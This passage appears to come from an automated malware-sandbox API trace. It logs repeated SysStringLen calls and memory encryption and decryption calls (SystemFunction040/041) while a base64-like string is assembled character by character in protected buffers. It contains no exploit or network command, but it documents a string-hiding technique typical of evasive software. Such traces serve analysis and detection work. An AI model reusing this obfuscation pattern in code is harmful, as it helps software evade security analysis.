Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.039] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0125.039] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="YWM1OTE") returned 0x8 [0125.039] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.039] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0125.039] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0125.039] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0125.039] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.039] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.039] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0125.039] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0125.039] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0125.040] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0125.040] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0125.040] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0125.040] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0125.040] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0125.040] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0125.040] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0125.040] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0125.040] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.040] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0125.041] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.041] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0125.041] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0125.041] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.041] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0125.041] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0125.041] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.041] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0125.041] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0125.041] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0125.041] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.041] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0125.041] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0125.042] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0125.042] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0125.042] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0125.042] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0125.042] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0125.042] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.042] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0125.042] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.042] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0125.042] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0125.043] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.043] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0125.043] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0125.043] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.043] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0125.043] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0125.043] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.043] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0125.043] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.043] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0125.044] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0125.044] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0125.044] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0125.044] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0125.044] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0125.044] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0125.044] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0125.044] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.044] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0125.045] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0125.045] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0125.045] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0125.045] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0125.045] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0125.045] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0125.045] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0125.045] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.045] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0125.046] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0125.046] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0125.046] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0125.046] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0125.046] SystemFunction041 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0125.046] SystemFunction040 (in: Memory=0x8e6fc34, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6fc34) returned 0x0 [0125.046] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0125.046] SysStringLen 